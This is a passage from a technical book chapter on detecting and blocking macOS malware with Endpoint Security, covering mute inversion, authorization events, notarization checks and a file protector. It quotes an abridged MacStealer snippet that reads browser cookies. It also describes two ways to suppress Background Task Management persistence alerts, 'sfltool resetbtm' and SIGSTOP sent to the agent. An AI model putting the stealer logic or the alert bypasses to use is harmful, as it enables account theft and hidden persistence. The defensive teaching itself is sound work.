contains a list of common browsers, such as Chrome and Brave, as well as 
logic to extract their cookies:

class Browsers:
def __init__(self, decrypter: object) -> object:
    ...
    self.cookies_path = []
    self.extension_path = []
    ...
    self.cookies = []
    self.decryption_keys = decrypter
    self.appdata = '/Users/*/Library/Application Support'
    self.browsers = {...
        'google-chrome':self.appdata + '/Google/Chrome/',
        ...
        'brave':self.appdata + '/BraveSoftware/Brave-Browser/',
        ...
    }
    ...
def browser_db(self, data, content_type):
    ...
    else:
        if content_type == 'cookies':
           sql = 'select name,encrypted_value,host_key,path,is_secure,..., from cookies'
           keys = ['name', 'encrypted_value', 'host_key', 'path', ..., 'expires_utc']
    ...
    if __name__ == '__main__':
        decrypted = {}
        browsers = Browsers()
        paths = browsers.browser_data()

The code exfiltrates the collected cookies, giving the malware authors 
access to a user’s logged-in accounts. By leveraging mute inversion, we 
can subscribe to file events covering the locations of browser cookies. Any 
process that attempts to access browser cookies will trigger these events, 



210   Chapter 9

including MacStealer, providing a mechanism to detect and thwart its unau-
thorized actions.

Beginning Mute Inversion
To invert muting, invoke the es_invert_muting function, which takes an 
Endpoint Security client as well as the mute inversion type:

es_return_t es_invert_muting(es_client_t* _Nonnull client, es_mute_inversion_type_t mute_type);

You can find the mute inversion types in the ESTypes.h header file:

typedef enum {
    ES_MUTE_INVERSION_TYPE_PROCESS,
    ES_MUTE_INVERSION_TYPE_PATH,
    ES_MUTE_INVERSION_TYPE_TARGET_PATH,
    ES_MUTE_INVERSION_TYPE_LAST
} es_mute_inversion_type_t;

The first two types allow you to mute-invert a process. The first type 
should be used when you’re looking to mute-invert a process via its audit 
token, for example, via the es_mute_process API. On the other hand, the 
second type, ES_MUTE_INVERSION_TYPE_PATH, provides the means to identify the 
process to mute-invert by its path. Finally, ES_MUTE_INVERSION_TYPE_TARGET_PATH 
should be used when instead you’re looking to mute-invert events related to 
the target path, such as a directory.

Mute inversion applies globally across the specified mute inversion type; 
that is to say, if you invoked es_invert_muting with the ES_MUTE_INVERSION_TYPE 
_PATH type, all muted process paths would unmute. For this reason, it often 
makes sense to create a new Endpoint Security client specifically for mute 
inversion. (While the system imposes a limit on the number of clients, your 
program can create at least several dozen of them before causing an ES_NEW 
_CLIENT_RESULT_ERR_TOO_MANY_CLIENTS error.) Also worth nothing is that since 
muting inversion will only occur for the specified mute inversion type, you 
can mix and match mute and mute inversions. For example, you could mute 
processes while mute-inverting paths found in the events. This would be 
useful in a scenario where you are perhaps building a directory monitor 
leveraging mute inversion but want to ignore (mute) events from trusted 
system processes.

Mute inversions also impact the default mute set, a handful of paths 
to system-critical platform binaries that get muted by default. You can 
invoke the es_muted_paths_events function to retrieve a list of all muted paths, 
including the default ones. The default mute set aims to protect clients from 
deadlocks and timeout panics, so you likely won’t want to generate events for 
its paths. To avoid doing so, consider invoking es_unmute_all_paths before 
any process-path mute inversions or es_unmute_all_target_paths before any 
target-path mute inversions.

Now that you have inverted muting (for example, via the es_invert_muting 
API), you can invoke any of the corresponding, previously mentioned mut-
ing APIs, whose muting logic will now be inverted. This is clearly illustrated 
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in the next section, which makes use of mute inversion to monitor file 
access within a single directory.

Monitoring Directory Access
Listing 9-4 is a snippet of mute inversion code that monitors the opening 
of files in the logged-in user’s Documents directory. You can find the full 
implementation in the muteInvert function, in the ESPlayground project’s 
muteInvert.m file.

In “Authorization Events” on page 213, we’ll combine this approach with 
authorization access, a useful protection mechanism that could, for example, 
block ransomware or malware attempting to access sensitive user files.

NSString* consoleUser =
(__bridge_transfer NSString*)SCDynamicStoreCopyConsoleUser(NULL, NULL, NULL); 1

NSString* docsDirectory =
[NSHomeDirectoryForUser(consoleUser) stringByAppendingPathComponent:@"Documents"];

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_OPEN};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add code here to handle delivered events.
});

es_unmute_all_target_paths(client); 2
es_invert_muting(client, ES_MUTE_INVERSION_TYPE_TARGET_PATH); 3
es_mute_path(client, docsDirectory.UTF8String, ES_MUTE_PATH_TYPE_TARGET_PREFIX); 4

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));

Listing 9-4: Monitoring file-open events in the user’s Documents directory

First, we dynamically build the path to the logged-in user’s Documents 
directory. Because Endpoint Security code always runs with root privileges, 
most APIs that return the current user would simply return the root. 
Instead, we make use of the SCDynamicStoreCopyConsoleUser API to get the 
name of the user currently logged in to the system 1. Note that the API 
isn’t aware of the automatic reference counting (ARC) memory manage-
ment feature, so we add __bridge_transfer, which saves us from having to 
manually free the memory containing the user’s name. Next, we invoke the 
NSHomeDirectoryForUser function to get the home directory, to which we then 
append the path component Documents.

After defining the events of interest and creating a new Endpoint 
Security client, the code unmutes all target paths 2. Then it invokes 
es_invert_muting with the ES_MUTE_INVERSION_TYPE_TARGET_PATH value to invert 
muting 3. Next, the code invokes es_mute_path, passing in the document’s 
directory 4. Since we’ve inverted muting, this API instructs Endpoint 
Security to deliver only events that occur in this directory and ignore all 
others. Finally, we invoke es_subscribe with the events of interest to com-
mence the delivery of such events.
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To complete this example, print out the event, which you’ll recall 
gets delivered to the es_handler_block_t callback block specified in the last 
parameter to the es_new_client. Listing 9-5 shows an inline implementation.

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
  1 es_string_token_t* procPath = &message->process->executable->path;
  2 es_string_token_t* filePath = &message->event.open.file->path;

  3 printf("event: ES_EVENT_TYPE_NOTIFY_OPEN\n");
    printf("process: %.*s\n", (int)procPath->length, procPath->data);
    printf("file path: %.*s\n", (int)filePath->length, filePath->data);
});

Listing 9-5: Printing out a file-open Endpoint Security event

We extract the path to the responsible process. We can always find this 
process in the message structure passed by reference to the handler block. 
To get its path, we check the process structure’s executable member 1. Next, 
we extract the path of the file that the process has attempted to open. For 
ES_EVENT_TYPE_NOTIFY_OPEN events, we find this path in an es_event_open_t  
structure, located in the message structure’s event member 2. After extract-
ing the paths for the responsible process and file, we print them out 3.

The tool should now detect any access to files in the Documents direc-
tory. You can test this by running ESPlayground with the -muteinvert flag. 
You’ll see that it displays no Endpoint Security events unless they originate 
within Documents. You can trigger such events by either browsing to the 
directory via Finder or using the terminal (for example, to list the direc-
tory’s contents via ls):

# ESPlayground.app/Contents/MacOS/ESPlayground -muteinvert

ES Playground
Executing 'mute inversion' logic
unmuted all (default) paths
mute (inverted) /Users/Patrick/Documents

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder
file path: /Users/Patrick/Documents

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /bin/ls
file path: /Users/Patrick/Documents

If we extended the example code to also monitor other directories, 
such as those where browsers store their cookies, we’d easily detect stealers 
such as MacStealer! In the next section, I’ll cover the powerful authoriza-
tion event type.
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Authorization Events
Unlike notification-based events, which an Endpoint Security client receives 
after some activity occurs on the system, authorization events allow a client 
to examine and then allow or deny events before they’ve completed. This fea-
ture provides a mechanism for building security tools capable of proactively 
detecting and thwarting malicious activity. Although working with authoriza-
tion events involves similar concepts as working with notification events, there 
are some important differences. To explore these, let’s dive into the code.

Conceptually, our goal is simple: design a tool capable of blocking the 
execution of non-notarized programs originating from the internet. As 
we’ve seen, the overwhelming majority of macOS malware isn’t notarized, 
while legitimate software almost always is, making this a powerful approach to 
stopping malware. When a user attempts to launch an item downloaded from 
the internet, we’ll intercept this execution before it’s allowed, then check its 
notarization status. We’ll allow validly notarized items and block all others.

At the time of this writing, recent versions of macOS attempt to 
implement this same check, but they do so less rigorously. First, up until 
macOS 15, if the user right-clicks a download item, the operating system 
still provides the option to run non-notarized items. Malware authors are, 
of course, well aware of this loophole and often leverage it to get their 
untrusted malware to execute. The prolific macOS adware Shlayer and 
many macOS stealers are fond of this trick. Moreover, Apple’s implementa-
tion to prevent non-notarized code on macOS has been rife with exploit-
able bugs (such as CVE-2021-30657 and CVE-2021-30853), rendering it 
essentially useless.5

I implemented a notarization check in one of Objective-See’s most pop-
ular tools, BlockBlock, discussed in detail in Chapter 11. When run in nota-
rization mode, this tool blocks any downloaded binary that isn’t notarized, 
including malware that attempts to exploit CVE-2021-30657 and CVE-2021-
30853, well before patches from Apple were available.6 We’ll roughly follow 
BlockBlock’s approach here. Note that in your own implementation, you 
might take a less draconian approach; for example, rather than blocking all 
non-notarized items, you might block only those that users may have been 
tricked into running. (In macOS 15, Apple introduced the ES_EVENT_TYPE 
_NOTIFY_GATEKEEPER_USER_OVERRIDE event you may be able to leverage to detect 
this.) Or you might collect non-notarized binaries for external analysis or 
subject them to other heuristics mentioned in this book before deciding 
whether to prevent their execution.

Creating a Client and Subscribing to Events
In this section, we subscribe to Endpoint Security authorization events before 
discussing how to respond to such events in a timely manner. You can find a 
full implementation of the code mentioned in this section in the authorization 
function, found in the ESPlayground project’s authorization.m file.

As when working with notification events, we start by creating an 
Endpoint Security client, specify an es_handler_block_t block, and subscribe 
to events of interest (Listing 9-6).
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es_client_t* client = NULL;
1 es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add logic to allow or block processes.
});

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));

Listing 9-6: Subscribing to authorization events for process executions

To block non-notarized processes, we need to subscribe to only a single 
authorization event: ES_EVENT_TYPE_AUTH_EXEC 1. Apple’s developer documen-
tation succinctly describes it as the event type for any process that “requests 
permission from the operating system to execute another image.”7 Once 
the call to es_subscribe returns, Endpoint Security will invoke our code any-
time a new process is about to be executed.

Next, we must respond to the operating system with a decision to either 
authorize or deny the delivered event. To respond, we use the es_respond_auth 
_result API, defined as follows in ESClient.h:

es_respond_result_t es_respond_auth_result(es_client_t* _Nonnull client,
const es_message_t* _Nonnull message, es_auth_result_t result, bool cache);

The function takes the client that received the message, the deliv-
ered message, the authorization result, and a flag indicating whether the 
results should be cached. To allow a message, invoke this function with an 
es_auth _result_t value of ES_AUTH_RESULT_ALLOW. To deny the message, specify a 
value of ES_AUTH_RESULT_DENY. If you pass in true for the cache flag, Endpoint 
Security will cache the authorization decision, meaning future events from 
the same process may not trigger additional authorization events. This, 
of course, has performance benefits, though some important nuances to 
be aware of. First, imagine that you’ve cached an authorization decision 
for a process execution event. Even if that process is executed with differ-
ent arguments, no additional authorization event will be generated, which 
could be problematic if a detection heuristic makes use of process argu-
ments. Second, be aware that the cache is global for the system, meaning 
if any other Endpoint Security client does not cache an event, you’ll still 
receive it (even if you’ve previously cached it).

Let’s build upon the code in Listing 9-6 to extract the path of the pro-
cess about to be spawned and then determine how to respond. For simplicity, 
we’ll just allow all processes in this example (Listing 9-7).

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
  1 es_process_t* process = message->event.exec.target;
  2 es_string_token_t* procPath = &process->executable->path;
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    printf("\nevent: ES_EVENT_TYPE_AUTH_EXEC\n");
    printf("process: %.*s\n", (int)procPath->length, procPath->data);

  3 es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);
});

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));

Listing 9-7: Handling process authorization events

Within the callback block, we extract information about the process 
that is about to be spawned. First, we get a pointer to its es_process_t struc-
ture, found with the es_event_exec_t structure in the Endpoint Security 
message 1. From this, we extract just its path 2 and print it out. Finally, 
we invoke the es_respond_auth_result API with ES_AUTH_RESULT_ALLOW to tell the 
Endpoint Security subsystem to authorize that process’s execution 3.

N O T E  In ESTypes.h, Apple specifies an important but easy-to-overlook nuance: for file 
authorization events (ES_EVENT_TYPE_AUTH_OPEN) only, your code must provide an 
authorization response via the es_respond_flags_result function, not via the 
es_respond_auth_result function. The same header file notes that when invoking the 
es_respond_flags_result function, you should pass a value of 0 to deny the event 
and UINT32_MAX to allow it.

Let’s run ESPlayground with the -authorization flag and then launch the 
Calculator application:

# ESPlayground.app/Contents/MacOS/ESPlayground -authorization

ES Playground
Executing 'authorization' logic

event: ES_EVENT_TYPE_AUTH_EXEC
process: /System/Applications/Calculator.app/Contents/MacOS/Calculator

We see the authorization event, and because we’re allowing all pro-
cesses, Endpoint Security doesn’t block it.

Meeting Message Deadlines
There is one very important caveat to responding to authorization events: if 
we miss the response deadline, Endpoint Security will allow the event and 
forcefully kill our client.

Exception Type:      EXC_CRASH (SIGKILL)
Exception Codes:     0x0000000000000000, 0x0000000000000000
Termination Reason:  Namespace ENDPOINTSECURITY, Code 2 EndpointSecurity client
terminated because it failed to respond to a message before its deadline
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From a system and usability point of view, this approach makes sense. 
If the program takes too long to respond, the entire system could lag or, 
worse, hang.

The es_message_t structure has a field named deadline that tells us 
exactly how long we have to respond to the message. The header file also 
notes that the deadline can vary substantially between each message; thus, 
our code should inspect each message’s deadline accordingly.

Let’s look at how BlockBlock’s process monitoring logic handles dead-
lines.8 Deadlines are especially important for this tool, as it waits for the 
user’s input before authorizing or denying the non-notarized process, 
meaning it faces a very real possibility of hitting the deadline (Listing 9-8).

1 dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
2 uint64_t deadline = message->deadline - mach_absolute_time();

3 dispatch_async(dispatch_get_global_queue(QOS_CLASS_DEFAULT, 0), ^{
  4 if(0 != dispatch_semaphore_wait(semaphore,
    dispatch_time(DISPATCH_TIME_NOW, machTimeToNanoseconds(deadline)
    - (1 * NSEC_PER_SEC)))) {
      5 es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);
  }
});

Listing 9-8: BlockBlock’s handling of Endpoint Security message deadlines

First, the code creates a semaphore 1 and computes the deadline 2. 
Because Endpoint Security reports the message deadline in absolute time, 
the code subtracts the current time from it to figure out how long it has left. 
Next, the code submits a block to execute asynchronously in a background 
queue 3, where it delivers the message to the user and, in another asyn-
chronous block, waits for the response. I’ve omitted this part of the code to 
keep things concise, as its specifics aren’t relevant.

Performing time-consuming processing in another asynchronous queue 
allows the code to signal the semaphore once the processing is complete 
and avoid the timeout, which the code sets up next 4. Once BlockBlock 
has delivered the message to the user and is awaiting a response, it invokes 
the dispatch_semaphore_wait function to wait on the semaphore until a cer-
tain time. You probably guessed it: the function waits until right before 
the message’s deadline is hit. If a timeout occurs (meaning a user response 
didn’t signal the semaphore and the message deadline is about to be hit), 
the code has no choice but to respond, which it does by defaulting to autho-
rizing the event 5.

Note that the Mach absolute time value returned by a function can vary 
between processes, depending on whether they’re native or translated. To 
maintain consistency, you should apply a timebase, which you can retrieve 
using the mach_timebase_info function. Apple documentation illustrates this 
in the following code, which converts a mach time value to nanoseconds 
using timebase information:
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uint64_t MachTimeToNanoseconds(uint64_t machTime) {
    uint64_t nanoseconds = 0;
    static mach_timebase_info_data_t sTimebase;
    if (sTimebase.denom == 0)
        (void)mach_timebase_info(&sTimebase);

    nanoseconds = ((machTime * sTimebase.numer) / sTimebase.denom);
    return nanoseconds;
}

You might have noticed that the code in Listing 9-8 leveraged this func-
tion when computing the wait time for the dispatch semaphore.

N O T E  If you’re asynchronously processing Endpoint Security messages, such as when asking 
a user for input and awaiting their response, you must retain the message via the 
es_retain_message API. Once you’re done with the message, you must release it with a 
call to es_release_message.

Now that you’ve seen how to respond to Endpoint Security authoriza-
tion events while taking deadlines into account, you’re ready to look at the 
last piece of the “blocking non-notarized processes” puzzle.

Checking Binary Origins
Once we’ve registered for ES_EVENT_TYPE_AUTH_EXEC events, the system will 
invoke the es_handler_block_t block passed to the es_new_client function 
before each new process is spawned. In this block, we’ll add logic to deny 
non-notarized processes from remote locations only. That last part is impor-
tant, as local platform binaries aren’t notarized but should, of course, be 
allowed. Along the same lines, you may want to consider allowing appli-
cations from the official Mac App Store. Though not notarized, they’ve 
passed a similar and (hopefully) stringent Apple review process.

To determine if a process’s binary originated from a remote location, 
we’ll defer to macOS by checking whether the binary has been translocated 
or has the com.apple.quarantine extended attribute. If either condition is true, 
the operating system has marked the item as originating from a remote 
source. Translocation is a security mitigation built into recent versions of 
macOS designed to thwart relative dynamic library hijacking attacks.9

In short, when a user attempts to open an executable item from a 
downloaded disk image or ZIP file, macOS will first create a random read-
only mount containing a copy of the item, then launch this copy. If we can 
programmatically determine that a process about to be executed has been 
translocated, we know we should subject it to a notarization check.

To check if an item has been translocated, we can invoke the private 
SecTranslocateIsTranslocatedURL API. This function takes several parameters, 
including the path of the item to check and a pointer to a Boolean flag that 
macOS will set to true if it has translocated the item. Because the API is 
private, we must dynamically resolve it before we can invoke it. The code in 
Listing 9-9 does both tasks.10
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#import <dlfcn.h>
BOOL isTranslocated(NSString* path) {
    BOOL isTranslocated = NO;
    void* handle = dlopen(
    "/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY); 1

    BOOL (*SecTranslocateIsTranslocatedURL)(CFURLRef path, bool* isTranslocated,
    CFErrorRef* __nullable error) = dlsym(handle,"SecTranslocateIsTranslocatedURL"); 2

    SecTranslocateIsTranslocatedURL((__bridge CFURLRef)([NSURL fileURLWithPath:path]),
    &isTranslocated, NULL); 3

    return isTranslocated;
}

Listing 9-9: A helper function that uses private APIs to determine whether an item has been translocated

The code loads the Security framework, which contains the SecTrans 
locateIs TranslocatedURL API 1. Once it’s loaded, the code resolves the API 
via dlsym 2, then invokes the function with the path of the item to check 3. 
When the API returns, it will set the second parameter to the result of the 
translocation check.

Another way to check whether an item has a remote origin is via the 
com.apple.quarantine extended attribute, added either by the application 
responsible for downloading the item or by the operating system directly, if 
the application has set LSFileQuarantineEnabled = 1 in its Info.plist file. You can 
programmatically retrieve the value of an item’s extended attribute using 
various private qtn_file_* APIs found in /usr/lib/system/libquarantine.dylib, 
though you must first dynamically resolve these functions. Invoke them in 
the following manner:

 1. Invoke qtn_file_alloc to allocate a _qtn_file structure.

 2. Invoke the qtn_file_init_with_path API with the _qtn_file pointer and 
the path of the item whose quarantine attributes you wish to retrieve. If 
this function returns QTN_NOT_QUARANTINED (-1), the item isn’t quarantined.

 3. Invoke the qtn_file_get_flags API with the _qtn_file pointer to retrieve 
the actual value of the com.apple.quarantine extended attribute.

 4. If the qtn_file_init_with_path function didn’t return QTN_NOT_QUARANTINED, 
you’ll know that the item is quarantined, but you may want to check 
whether a user previously approved the file. You can determine this by 
checking the value returned by qtn_file_get_flags, where the QTN_FLAG 
_USER_APPROVED (0x0040) bit may be set.

 5. Make sure to free the _qtn_file structure by calling qtn_file_free.

In several cases, macOS didn’t appropriately classify nonlocal items as 
having originated from a remote source. For example, in CVE-2023-27951, 
the operating system failed to apply the com.apple.quarantine extended 
attribute. In production code, you might therefore want to take a more 
comprehensive approach to determining a binary’s origins. For instance, 
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you could create a file monitor to detect binary downloads and then subject 
these binaries to the notarization checks, or just block any nonplatform 
binary that isn’t notarized. And, yes, malware (once it’s off and running) 
may remove the quarantine extended attribute from other components it 
has downloaded prior to their execution to potentially bypass macOS or 
BlockBlock checks. As such, you may also want to subscribe to the ES_EVENT 
_TYPE_AUTH_DELETEEXTATTR Endpoint Security event, which will be able to 
detect and prevent the removal of the quarantine attribute.

Now that we can determine whether a process originated from a 
remote source, we must check whether the binary backing the process 
is notarized. As you saw in Chapter 1, this is as easy as invoking the 
SecStaticCodeCheckValidity API with the appropriate requirement string.

If BlockBlock ascertains that the process about to be executed is from a 
remote source and not notarized, it will alert the user to request their input. 
If the user decides that the process is, for example, untrustworthy or unrec-
ognized, BlockBlock will invoke the function in Listing 9-10 to block it.

-(BOOL)block:(Event*)event {
    BOOL blocked = NO;

    if(YES != (blocked = [self respond:event action:ES_AUTH_RESULT_DENY])) {
        os_log_error(logHandle, "ERROR: failed to block %{public}@", event.process.name);
    }

    return blocked;
}

Listing 9-10: Blocking untrustworthy processes

It invokes the respond:action: method with the ES_AUTH_RESULT_DENY 
constant. If we look at this method, we see that, at its core, it just invokes 
es_respond_auth_result, passing along the specified allow or deny action to 
the Endpoint Security subsystem. Also, as true is passed in for the cache 
flag, subsequent executions of the same process will not generate addi-
tional authorization events, thus providing a noticeable performance boost 
(Listing 9-11).

-(BOOL)respond:(Event*)event action:(es_auth_result_t)action {
    ...
    result = es_respond_auth_result(event.esClient, event.esMessage, action, true);
    ...
}

Listing 9-11: Passing Endpoint Security the action to take

For a full implementation that blocks non-notarized processes via 
Endpoint Security, see BlockBlock’s process plug-in.11

Blocking Background Task Management Bypasses
Let’s consider another example that uses Endpoint Security authorization 
events to detect malware, this time by focusing on attempts to leverage 



220   Chapter 9

exploits that bypass built-in macOS security mechanisms. While the use 
of these exploits isn’t yet widespread, the inclusion of new security mecha-
nisms in macOS has increasingly forced malware to employ new techniques 
to achieve their malicious objectives, so monitoring for these exploits may 
aid your detections.

In Chapter 5, I discussed macOS’s new Background Task Management 
(BTM) database, which monitors for persistent items, generates alerts for 
them, and globally tracks their behavior. BTM is problematic for malware 
hoping to persist, because users will now receive an alert when the mal-
ware gets installed. For example, Figure 9-1 shows the BTM alert that users 
receive when malware known as DazzleSpy persistently installs itself as a 
binary named softwareupdate.

Figure 9-1: A BTM alert showing that a binary named  
softwareupdate has been persistently installed

Luckily for the malware, my research into BTM revealed that Apple’s 
original implementation was easy to subvert in several ways, preventing 
this alert. This section details two such bypasses and shows how to lever-
age Endpoint Security to detect and block these subversions. Note that I 
informed Apple about these issues, and, at least in macOS 15 (and perhaps 
on earlier versions of macOS), they appear to have been fixed. Even so, you 
could adapt the code in this section to detect other local exploits.

Manual Database Resets

The first method of bypassing BTM was incredibly simple. Recall that 
Chapter 5 discussed sfltool, which ships with macOS and allows users to 
interface with the BTM database. One of its command line options, resetbtm, 
will clear the database, causing it to be rebuilt. Once this command is run, 
however, the system won’t deliver subsequent BTM alerts until it reboots, 
even though items can still persist.

Thus, malware wanting to avoid generating BTM alerts could simply 
execute sfltool with the resetbtm command before executing its persis-
tence code. The technique has yet to be observed in the wild but is easy to 
exploit, as shown in the following log message, generated after a manual 
database reset. These message shows that while the BTM daemon detected 
DazzleSpy’s persistent install, it decided not to post an advisory alert:

% log stream
backgroundtaskmanagementd: registerLaunchItem: result=no error, new item
disposition=[enabled, allowed, visible, not notified],
identifier=com.apple.softwareupdate,



Muting and Authorization Events   221

url=file:///Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist
backgroundtaskmanagementd: should post advisory=false for uid=501, id=
6ED3BEBC-8D60-45ED-8BCC-E0163A8AA806, item=softwareupdate

Under normal circumstances, users have no reason to reset the BTM 
database. So, we can thwart this exploit by subscribing to Endpoint Security 
process events and blocking the spawning of sfltool when it is executed 
with the resetbtm argument.

To detect the execution of processes, including sfltool, we can register 
for the ES_EVENT_TYPE_NOTIFY_EXEC event discussed in Chapter 8. We can access 
the process’s path via the es_process_t process structure and extract its argu-
ments with the es_exec_arg_count and es_exec_arg helper functions. Once 
you’ve extracted the path and arguments, simple string comparisons should 
tell you if the reported process event is a result of sfltool spawned with the 
resetbtm argument.

Of course, you’ll likely want to block these events, which you can do by 
registering for ES_EVENT_TYPE_AUTH_EXEC. This event’s callback will be invoked 
with an Endpoint Security message containing a pointer to an es_process_t 
structure. From this, you can extract both the path and the arguments of 
the process about to be spawned, then block the spawning by invoking the 
es_respond_auth_result function with a value of ES_AUTH_RESULT_DENY.

Stop Signals

While researching the BTM subsystem, I came across another trivial way 
to bypass its alerts.12 In short, malware could easily send a stop (SIGSTOP) 
signal to the BTM agent responsible for displaying the persistence advisory 
message to the user. Once this component halted, the malware could per-
sist without the user being alerted. To detect and block this bypass, we can 
lean on Endpoint Security once again. As it’s extremely unlikely that a user 
would send a SIGSTOP signal to the BTM agent under normal circumstances, 
we can assume this event is malware attempting to subset the subsystem.

The year following my presentation, researchers at Sentinel One uncov-
ered malware taking a similar (albeit less elegant) approach. In their report,13 
the researchers noted that the malicious code would continually send a kill 
signal to macOS’s Notification Center process to block the BTM’s persis-
tence advisory message, which the system would normally display when the 
malware persisted.

We can detect signals with the ES_EVENT_TYPE_NOTIFY_SIGNAL event or, bet-
ter yet, block signals altogether with the corresponding authorization event, 
ES_EVENT_TYPE_AUTH_SIGNAL. In Listing 9-12, we focus on the latter task.

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_SIGNAL};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    int signal = message->event.signal.sig; 1
    es_process_t* sourceProcess = message->process; 2
    es_process_t* targetProcess = message->event.signal.target; 3
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    // Add code to check if signal is a SIGSTOP or SIGKILL being sent to a process
    // involved in showing user notification alerts.

});

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));

Listing 9-12: Subscribing to authorization events for signal deliveries

Whenever a process attempts to send a signal, Endpoint Security will 
invoke the callback with a message containing an es_event_signal_t structure. 
The code extracts the type of signal 1, as well as the source 2 and target 
processes 3.

We can check whether the signal is a SIGSTOP or SIGKILL and whether 
the process that would receive the signal is either the BTM agent or the 
Notification Center. If so, we simply deny the signal delivery by invoking 
es_respond_auth_result with the ES_AUTH_RESULT_DENY value (Listing 9-13).

if( (signal == SIGSTOP) || (signal == SIGKILL) ) {
    pid_t targetPID = audit_token_to_pid(targetProcess->audit_token);

    if( (targetPID == btmAgentPID) || (targetPID == notificationCenterPID) ) {
        es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);
    }
}

Listing 9-13: Denying suspicious SIGSTOP or SIGKILL signals

Note that elsewhere in your code, you should probably look up and 
save the process ID for the BTM agent and Notification Center process, 
as you wouldn’t want to look it up each time a signal is delivered. You’d 
also likely want to log a message that includes information about the 
source process attempting to send the suspicious signal or else collect it for 
further examination.

If you implement this code, compile it, run it, and then manually 
attempt to subvert the notifications from the BTM subsystem by stopping 
the agent, your actions should now fail:

% pgrep BackgroundTaskManagementAgent
590

% kill -SIGSTOP 590
kill: kill 590 failed: operation not permitted

In the terminal, we get the process ID of the BTM agent (590, in this 
instance). Then we use the kill command to send a SIGSTOP signal to the 
agent. This will trigger the delivery of an ES_EVENT_TYPE_AUTH_SIGNAL event to 
our program, which will deny it, resulting in the “operation not permitted” 
message.
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Building a File Protector
I’ll wrap up the discussion of the Endpoint Security framework by develop-
ing a proof-of-concept file protector. You can find its full implementation in 
the protect function, in the ESPlayground project’s protect.m file.

Our code will monitor a specific directory (for example, the user’s 
home directory or the directory containing browser cookies) and allow only 
authorized processes to access it. Whenever a process attempts to access a 
file in the directory, Endpoint Security will trigger an authorization event, 
giving our code an opportunity to closely examine the process and decide 
whether to allow it. In this example, we’ll allow only platform and notarized 
binaries and block the rest.

This file protector is conceptually similar to Apple’s Transparency, 
Consent, and Control (TCC), but it adds another level of protection. After 
all, users may naively grant TCC permissions to malware, making previously 
protected files accessible, and malware often exploits or bypasses TCC itself, 
as in the case of the XCSSET malware.14 Finally, you may want to provide 
authorized access (and detect unauthorized access) to files located outside 
TCC’s protected directories, such as the cookies files for certain third-party 
browsers.

Earlier in this chapter, I discussed monitoring the logged-in user’s 
Documents directory via a notify event. The code in this section is similar, 
except it covers the user’s entire home directory and extends the list of events 
of interest to also include those related to attempted file deletions. Most 
notably, this code leverages Endpoint Security authorization events to proac-
tively block untrusted access. As usual, we’ll start by specifying the Endpoint 
Security events of interest, creating an Endpoint Security client, setting up 
muting inversion, and finally subscribing to the events (Listing 9-14).

NSString* consoleUser =
(__bridge_transfer NSString*)SCDynamicStoreCopyConsoleUser(NULL, NULL, NULL);

NSString* homeDirectory = NSHomeDirectoryForUser(consoleUser);

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_OPEN, ES_EVENT_TYPE_AUTH_UNLINK}; 1

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add code here to implement logic to examine process and respond to event.
});

es_unmute_all_target_paths(client); 2
es_invert_muting(client, ES_MUTE_INVERSION_TYPE_TARGET_PATH);
es_mute_path(client, homeDirectory.UTF8String, ES_MUTE_PATH_TYPE_TARGET_PREFIX); 3

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));

Listing 9-14: Setting up an Endpoint Security client to authorize file access
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Several Endpoint Security authorization events relate to file access. 
Here, we use ES_EVENT_TYPE_AUTH_OPEN and ES_EVENT_TYPE_AUTH_UNLINK 1, which 
give us the ability to authorize programs that attempt to open or delete 
files. The former event can detect a range of malware with either ransom-
ware or stealer capabilities, while the latter event could perhaps detect and 
prevent malware with wiper capabilities that might try to delete or wipe 
important files.

After creating a new Endpoint Security client (whose handler block 
we’ll write shortly) 2, the code sets up muting inversion 3, given that we’re 
interested only in events related to the directory we’re about to specify. It  
dynamically builds a path to the logged-in user’s home directory, then 
invokes the es_mute_path API. Because we’ve inverted muting, this API tells 
the Endpoint Security subsystem to deliver events that occur within the 
specified path only. After the code calls es_subscribe, Endpoint Security will 
start delivering events by executing the handler block specified in the call 
to the es_new_client function.

How might we implement such a block? To keep things simple, let’s first 
assume we’ll allow any access (Listing 9-15).

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            es_respond_flags_result(client, message, UINT32_MAX, false); 1
            break;
        case ES_EVENT_TYPE_AUTH_UNLINK:
            es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false); 2
            break;
        ...
    }
});

Listing 9-15: Allowing all file accesses

Recall that for ES_EVENT_TYPE_AUTH_OPEN events, Apple documentation 
states that we have to respond with the es_respond_flags_result function 1. 
To tell the Endpoint Security subsystem to allow the event, we invoke this 
function with UINT32_MAX. For the ES_EVENT_TYPE_AUTH_UNLINK event, we respond 
using es_respond_auth_result, as usual 2.

On the flip side, Listing 9-16 shows the code to deny all file opens or 
deletions in the directory.

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            es_respond_flags_result(client, message, 0, false); 1
            break;
